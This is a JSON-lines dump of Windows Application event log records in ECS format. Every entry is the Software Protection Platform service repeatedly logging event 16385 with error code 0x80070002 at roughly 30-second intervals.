{"@timestamp":1659041042726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173353}}
{"@timestamp":1659041072733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173354}}
{"@timestamp":1659041102740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173355}}
{"@timestamp":1659041132746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173356}}
{"@timestamp":1659041162752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173357}}
{"@timestamp":1659041192758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173358}}
{"@timestamp":1659041222764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173359}}
{"@timestamp":1659041252771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173360}}
{"@timestamp":1659041282776,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173361}}
{"@timestamp":1659041312783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173362}}
{"@timestamp":1659041342789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173363}}
{"@timestamp":1659041372795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173364}}
{"@timestamp":1659041402801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173365}}
{"@timestamp":1659041432808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173366}}
{"@timestamp":1659041462816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173367}}
{"@timestamp":1659041492822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173368}}
{"@timestamp":1659041522829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173369}}
{"@timestamp":1659041552835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173370}}
{"@timestamp":1659041582841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173371}}
{"@timestamp":1659041612847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173372}}
{"@timestamp":1659041642853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173373}}
{"@timestamp":1659041672857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173374}}
{"@timestamp":1659041702862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173375}}
{"@timestamp":1659041732867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173376}}
{"@timestamp":1659041762872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173377}}
{"@timestamp":1659041792878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173378}}
{"@timestamp":1659041822884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173379}}
{"@timestamp":1659041852892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173380}}
{"@timestamp":1659041882898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173381}}
{"@timestamp":1659041912903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173382}}
{"@timestamp":1659041942909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173383}}
{"@timestamp":1659041972915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173384}}
{"@timestamp":1659042002920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173385}}
{"@timestamp":1659042032926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173386}}
{"@timestamp":1659042062931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173387}}
{"@timestamp":1659042092937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173388}}
{"@timestamp":1659042122943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173389}}
{"@timestamp":1659042152950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173390}}
{"@timestamp":1659042182956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173391}}
{"@timestamp":1659042212962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173392}}
{"@timestamp":1659042242968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173393}}
{"@timestamp":1659042272974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173394}}
{"@timestamp":1659042302980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173395}}
{"@timestamp":1659042332986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173396}}
{"@timestamp":1659042362992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173397}}
{"@timestamp":1659042392998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173398}}
{"@timestamp":1659042423004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173399}}
{"@timestamp":1659042453009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173400}}
{"@timestamp":1659042483015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173401}}
{"@timestamp":1659042513021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173402}}
{"@timestamp":1659042543028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173403}}
{"@timestamp":1659042573037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173404}}
{"@timestamp":1659042603043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173405}}
{"@timestamp":1659042633049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173406}}
{"@timestamp":1659042663055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173407}}
{"@timestamp":1659042693063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173408}}
{"@timestamp":1659042723071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173409}}
{"@timestamp":1659042753079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173410}}
{"@timestamp":1659042783088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173411}}
{"@timestamp":1659042813095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173412}}
{"@timestamp":1659042843103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173413}}
{"@timestamp":1659042873111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173414}}
{"@timestamp":1659042903118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173415}}
{"@timestamp":1659042933126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173416}}
{"@timestamp":1659042963135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173417}}
{"@timestamp":1659042993143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173418}}
{"@timestamp":1659043023149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173419}}
{"@timestamp":1659043053156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173420}}
{"@timestamp":1659043083164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173421}}
{"@timestamp":1659043113171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173422}}
{"@timestamp":1659043143178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173423}}
{"@timestamp":1659043173185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173424}}
{"@timestamp":1659043203192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173425}}
{"@timestamp":1659043233199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173426}}
{"@timestamp":1659043263206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173427}}
{"@timestamp":1659043293212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173428}}
{"@timestamp":1659043323218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173429}}
{"@timestamp":1659043353226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173430}}
{"@timestamp":1659043383233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173431}}
{"@timestamp":1659043413239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173432}}
{"@timestamp":1659043443246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173433}}
{"@timestamp":1659043473252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173434}}
{"@timestamp":1659043503258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173435}}
{"@timestamp":1659043533264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173436}}
{"@timestamp":1659043563270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173437}}
{"@timestamp":1659043593277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173438}}
{"@timestamp":1659043623283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173439}}
{"@timestamp":1659043653289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173440}}
{"@timestamp":1659043683295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173441}}
{"@timestamp":1659043713302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173442}}
{"@timestamp":1659043743308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173443}}
{"@timestamp":1659043773315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173444}}
{"@timestamp":1659043803320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173445}}
{"@timestamp":1659043833327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173446}}
{"@timestamp":1659043863334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173447}}
{"@timestamp":1659043893340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173448}}
{"@timestamp":1659043923347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173449}}
{"@timestamp":1659043953353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173450}}
{"@timestamp":1659043983360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173451}}
{"@timestamp":1659044013367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173452}}
{"@timestamp":1659044043373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173453}}
{"@timestamp":1659044073381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173454}}
{"@timestamp":1659044103388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173455}}
{"@timestamp":1659044133394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173456}}
{"@timestamp":1659044163400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173457}}
{"@timestamp":1659044193406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173458}}
{"@timestamp":1659044223412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173459}}
{"@timestamp":1659044253419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173460}}
{"@timestamp":1659044283426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173461}}
